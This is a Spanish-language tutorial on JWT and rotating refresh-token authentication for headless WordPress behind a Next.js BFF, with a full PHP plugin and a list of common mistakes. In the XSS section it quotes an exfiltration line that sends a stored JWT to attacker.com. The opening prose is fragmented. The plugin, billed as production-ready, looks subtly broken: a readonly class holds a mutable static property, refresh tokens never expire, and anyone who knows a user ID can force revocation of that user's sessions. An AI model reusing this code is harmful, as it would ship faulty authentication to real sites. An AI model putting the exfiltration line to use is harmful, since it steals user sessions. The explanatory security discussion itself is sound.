En la arquitectura monolítica tradicional de WordPress, la autenticación reposa sobre cookies de sesión con estado (wordpress_logged_in_<hash>) y validación síncrona de nonces (X-WP-Nonce) vinculados al mismo dominio. En arquitecturas distribuidas y desacopladas (Headless, con frontends en Next.js 16, aplicaciones móviles o microservicios alojados en dominios independientes), las cookies estándar del núcleo resultan inviables debido a las políticas SameSite de los navegadores y las restricciones de CORS.
La infraestructura moderna de autenticación empresarial en WordPress 7.0+ se bifurca en dos protocolos de propósito específico:
sub — ID del usuario, iat, exp, jti — identificador único del token). WordPress lo verifica en memoria dentro del filtro determine_current_user sin realizar consultas a la base de datos.wp_usermeta. En cada renovación de credenciales, el Refresh Token anterior queda invalidado de inmediato. Cualquier intento de reutilizar un token caducado alerta de una posible brecha e invalida de golpe todas las sesiones del usuario.httpOnly en Next.js BFF (Backend-for-Frontend): Los tokens jamás se depositan en el localStorage del navegador. Un Route Handler en Next.js recibe el JWT de WordPress y lo encapsula en una cookie blindada con atributos httpOnly; Secure; SameSite=Lax, neutralizando por completo el secuestro de sesiones por XSS.WP_Application_Passwords): Sistema integrado de forma nativa en el núcleo (desde WP 5.6+) que genera contraseñas de aplicación de 24 caracteres, procesadas mediante bcrypt (wp_hash_password) y enviadas por la cabecera Authorization: Basic base64(user:app_password) exclusivamente a través de TLS/HTTPS.La autenticación en Headless WordPress debe concebirse como un escudo criptográfico de dos niveles: el navegador interactúa con el servidor de Next.js mediante cookies httpOnly inaccesibles para JavaScript, mientras que Next.js se comunica con el núcleo de WordPress mediante canales privados utilizando cabeceras efímeras Authorization: Bearer <JWT>.
[Navegador Cliente] ──(1. POST /api/auth/login)──► [Next.js 16 BFF Route Handler]
▲ │
│ (4. Set-Cookie: httpOnly; Secure; SameSite=Lax) │ (2. POST /wp-json/agentic-lab/v1/auth/token)
│ JavaScript NO PUEDE leer el token (¡Anti-XSS!) ▼
│ [WordPress 7.0 Auth Engine]
│ ├── Validación wp_authenticate() (bcrypt)
│ ├── Emisión Access JWT (TTL: 15m, HMAC-SHA256)
└───────────────────────────────────────────────┴── Emisión Refresh Token (JTI en Redis/usermeta)
[Petición posterior desde un React Server Component]:
[Next.js Server Component] ──(Lee cookie httpOnly)──► Inyecta Authorization: Bearer <JWT>
│
▼
[Filtro WP: determine_current_user]
├── Verificación HMAC en tiempo constante (hash_equals)
├── Comprobación exp > time()
└── wp_set_current_user($payload->sub)Validación de credenciales con wp_authenticate() con mitigación de fuerza bruta y emisión de pares Access + Refresh.
Generación del JWT (Header.Payload.Signature) mediante HS256/EdDSA y registro del hash del JTI de Refresh en la base.
El servidor Next.js captura los tokens y los confina en cookies de navegador bajo banderas httpOnly + Secure.
En peticiones API, determine_current_user evalúa la firma con hash_equals() en 0.05 ms sin acceder a la base de datos.
Cada 15 minutos el BFF rota el Refresh token. Reutilizar un token antiguo revoca todas las sesiones activas.
cookies().set('wp_access_token', jwt, { httpOnly: true, secure: true }))._token_version) o conjuntos de jti revocados en Redis, permitiendo invalidar un JWT robado en 1 milisegundo al restablecer la contraseña.hash_equals($expectedSignature, $providedSignature) para imposibilitar la deducción byte a byte de claves secretas.Comparativa de los principales métodos de autenticación de API en WordPress:
A continuación se muestra un módulo autónomo en PHP 8.4+ para entornos productivos (libre de dependencias externas pesadas) que implementa RFC 7519 (HMAC-SHA256), defensa contra ataques de temporización (hash_equals), versionado de tokens para revocación global inmediata y vinculación nativa con determine_current_user y rest_authentication_errors.
<?php
/**
* Plugin Name: Fullstack Agentic Lab — Enterprise JWT & Refresh Rotation Gateway
* Description: Autenticación criptográfica RFC 7519 (HMAC-SHA256) con rotación de Refresh tokens para Headless WP.
* Version: 2.1.0
* Author: Artur Yusupov (Fullstack Agentic Lab)
*/
declare(strict_types=1);
namespace AgenticLab\Core\Auth;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Server;
if (!defined('ABSPATH')) {
exit;
}
final readonly class EnterpriseJwtGateway
{
private const ACCESS_TOKEN_TTL = 900; // 15 minutos
private const REFRESH_TOKEN_TTL = 604800; // 7 días
private const META_REFRESH_HASH = '_agentic_refresh_token_hash';
private const META_TOKEN_VERSION = '_agentic_token_version';
private static ?WP_Error $authError = null;
public static function init(): void
{
add_filter('determine_current_user', self::authenticateBearerRequest(...), 20);
add_filter('rest_authentication_errors', self::reportAuthenticationErrors(...));
add_action('rest_api_init', self::registerAuthRoutes(...));
// ¡Invalidación automática de todos los tokens cuando el usuario restablece su contraseña!
add_action('after_password_reset', static function (\WP_User $user): void {
self::revokeAllUserTokens((int) $user->ID);
});
}
public static function registerAuthRoutes(): void
{
register_rest_route('agentic-lab/v1', '/auth/token', [
'methods' => WP_REST_Server::CREATABLE,
'callback' => self::issueTokenPair(...),
'permission_callback' => '__return_true',
'args' => [
'username' => ['type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_user'],
'password' => ['type' => 'string', 'required' => true],
],
]);
register_rest_route('agentic-lab/v1', '/auth/refresh', [
'methods' => WP_REST_Server::CREATABLE,
'callback' => self::rotateTokenPair(...),
'permission_callback' => '__return_true',
'args' => [
'user_id' => ['type' => 'integer', 'required' => true, 'sanitize_callback' => 'absint'],
'refresh_token' => ['type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_text_field'],
],
]);
}
/**
* 1. Emisión de nuevo par Access JWT + Refresh Token de un solo uso.
*/
public static function issueTokenPair(WP_REST_Request $request): WP_REST_Response|WP_Error
{
$user = wp_authenticate(
(string) $request->get_param('username'),
(string) $request->get_param('password')
);
if (is_wp_error($user)) {
return new WP_Error(
'agentic_invalid_credentials',
'Credenciales de usuario no válidas.',
['status' => 401]
);
}
return rest_ensure_response(self::generateAndPersistPair((int) $user->ID));
}
/**
* 2. Rotación de Refresh Token con Detección de Reutilización (Token Reuse Detection).
*/
public static function rotateTokenPair(WP_REST_Request $request): WP_REST_Response|WP_Error
{
$userId = (int) $request->get_param('user_id');
$rawRefresh = (string) $request->get_param('refresh_token');
$storedHash = (string) get_user_meta($userId, self::META_REFRESH_HASH, true);
$incomingHash = hash('sha256', $rawRefresh);
if ($storedHash === '' || !hash_equals($storedHash, $incomingHash)) {
// Anomalía detectada: posible robo de credenciales. Se revocan todas las sesiones activas.
self::revokeAllUserTokens($userId);
return new WP_Error(
'agentic_refresh_reuse_detected',
'Intento de reutilización de token detectado. Todas las sesiones han sido canceladas.',
['status' => 401]
);
}
return rest_ensure_response(self::generateAndPersistPair($userId));
}
/**
* 3. Interceptación y validación criptográfica de la cabecera Authorization: Bearer <JWT>.
*/
public static function authenticateBearerRequest(int|bool $currentUserId): int|bool
{
if (!empty($currentUserId)) {
return $currentUserId;
}
$authHeader = (string) ($_SERVER['HTTP_AUTHORIZATION'] ?? $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ?? '');
if (!str_starts_with($authHeader, 'Bearer ')) {
return $currentUserId;
}
$jwt = trim(substr($authHeader, 7));
$parts = explode('.', $jwt);
if (count($parts) !== 3) {
self::$authError = new WP_Error('jwt_malformed', 'Formato JWT no válido.', ['status' => 401]);
return false;
}
[$headerB64, $payloadB64, $signatureB64] = $parts;
$expectedSig = self::base64UrlEncode(
hash_hmac('sha256', $headerB64 . '.' . $payloadB64, self::getSecretKey(), true)
);
// Comparación en tiempo constante frente a ataques de temporización
if (!hash_equals($expectedSig, $signatureB64)) {
self::$authError = new WP_Error('jwt_bad_signature', 'Firma criptográfica JWT no válida.', ['status' => 401]);
return false;
}
$payload = json_decode(self::base64UrlDecode($payloadB64), true);
if (!is_array($payload) || (int) ($payload['exp'] ?? 0) < time()) {
self::$authError = new WP_Error('jwt_expired', 'El Access Token ha caducado.', ['status' => 401]);
return false;
}
$userId = (int) ($payload['sub'] ?? 0);
$tokenVer = (int) ($payload['ver'] ?? 1);
$currentVer = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
if ($tokenVer !== $currentVer) {
self::$authError = new WP_Error('jwt_revoked', 'El token ha sido revocado por seguridad.', ['status' => 401]);
return false;
}
return $userId;
}
public static function reportAuthenticationErrors(mixed $result): mixed
{
if (!empty($result)) {
return $result;
}
return self::$authError ?? $result;
}
public static function revokeAllUserTokens(int $userId): void
{
$ver = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
update_user_meta($userId, self::META_TOKEN_VERSION, $ver + 1);
delete_user_meta($userId, self::META_REFRESH_HASH);
}
/**
* @return array<string, mixed>
*/
private static function generateAndPersistPair(int $userId): array
{
$now = time();
$ver = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
$header = self::base64UrlEncode((string) wp_json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
$payload = self::base64UrlEncode((string) wp_json_encode([
'iss' => home_url(),
'sub' => $userId,
'iat' => $now,
'exp' => $now + self::ACCESS_TOKEN_TTL,
'ver' => $ver,
'jti' => bin2hex(random_bytes(8)),
]));
$signature = self::base64UrlEncode(
hash_hmac('sha256', $header . '.' . $payload, self::getSecretKey(), true)
);
$rawRefreshToken = bin2hex(random_bytes(32));
update_user_meta($userId, self::META_REFRESH_HASH, hash('sha256', $rawRefreshToken));
return [
'access_token' => $header . '.' . $payload . '.' . $signature,
'refresh_token' => $rawRefreshToken,
'expires_in' => self::ACCESS_TOKEN_TTL,
'token_type' => 'Bearer',
'user_id' => $userId,
];
}
private static function getSecretKey(): string
{
if (defined('JWT_AUTH_SECRET_KEY') && is_string(JWT_AUTH_SECRET_KEY) && strlen(JWT_AUTH_SECRET_KEY) >= 32) {
return JWT_AUTH_SECRET_KEY;
}
return wp_salt('auth') . wp_salt('secure_auth');
}
private static function base64UrlEncode(string $data): string
{
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
private static function base64UrlDecode(string $data): string
{
return (string) base64_decode(strtr($data, '-_', '+/'));
}
}
EnterpriseJwtGateway::init();En qué consiste el error: Guardar el token en el cliente mediante localStorage.setItem('jwt', token) y enviarlo en llamadas subsiguientes.
Por qué lo cometen los desarrolladores: La vía más rápida de persistir la sesión entre pestañas sin lidiar con configuración de cookies entre dominios.
Qué ocurre en producción: Cualquier vulnerabilidad XSS (por ejemplo, en scripts de analítica, widgets de soporte o dependencias npm comprometidas) permite que una sola línea: fetch('https://attacker.com/?t=' + localStorage.getItem('jwt')) robe las sesiones de todos los usuarios activos.
La solución correcta: Usar Route Handlers o Server Actions en Next.js como proxy BFF: confinar los JWTs exclusivamente a cookies httpOnly; Secure; SameSite=Lax inaccesibles para el JavaScript del navegador.
En qué consiste el error: Fijar el tiempo de expiración (exp) del JWT en time() + MONTH_IN_SECONDS omitiendo Refresh tokens y verificación de versión (ver).
Por qué lo cometen los desarrolladores: Evitar implementar la lógica de renovación silenciosa mediante /auth/refresh.
Qué ocurre en producción: Si una cuenta se ve comprometida y el usuario cambia su clave en el panel de control, el token sustraído seguirá siendo aceptado durante 30 días ya que su firma y fecha de expiración continúan siendo formalmente válidas.
La solución correcta: Limitar el Access JWT a 10–15 minutos, usar Refresh tokens de un solo uso e incrementar _agentic_token_version en cada cambio de contraseña.
En qué consiste el error: Validar la firma con una comparación estándar de strings: if ($expectedSignature === $userSignature).
Por qué lo cometen los desarrolladores: Desconocimiento de cómo opera la comparación de cadenas a nivel de lenguaje C en PHP.
Qué ocurre en producción: El operador === detiene la comprobación en el primer byte divergente. Midiendo sutiles variaciones en nanosegundos en las respuestas del servidor (Timing Attacks), un atacante puede deducir la firma HMAC legítima de cualquier usuario.
La solución correcta: Comparar siempre con hash_equals($knownString, $userString), que garantiza ejecución en tiempo constante con independencia de dónde difieran los caracteres.
En qué consiste el error: Almacenar claves secretas, números de teléfono o información confidencial dentro de $payload.
Por qué lo cometen los desarrolladores: La creencia errónea de que el JWT está "cifrado".
Qué ocurre en producción: Los JWTs estándar (JWS) NO están cifrados; únicamente están firmados. Su contenido está en Base64Url y cualquiera puede decodificarlo con atob() y leer la información en texto plano.
La solución correcta: Limitar el Payload a metadatos técnicos indispensables (sub, iat, exp, ver, jti), excluyendo información personal identificable (PII).
Next.js BFF transmite credenciales a WordPress. El núcleo valida el hash bcrypt y expide Access + Refresh.
El hash SHA-256 del Refresh Token se almacena en los metadatos del usuario.
El servidor Next.js implanta cookies httpOnly, Secure y SameSite=Lax, ocultando los tokens al JS del cliente.
Neutraliza completamente el vector de robo de credenciales mediante Cross-Site Scripting (XSS).
En llamadas a la REST API, el filtro coteja la firma HMAC vía hash_equals() y valida la versión del token.
Configura el contexto de usuario de forma anticipada para los permission_callback subsiguientes.
Cada 15 minutos, el BFF canjea el Refresh Token por un nuevo par, purgando el hash anterior de la base de datos.
Mantiene la sesión activa del usuario sin solicitar reiteradamente su clave.
Si un atacante intenta utilizar un Refresh Token ya invalidado, el sistema incrementa de inmediato token_version.
Todos los tokens de ese usuario quedan revocados en milisegundos en todos los dispositivos.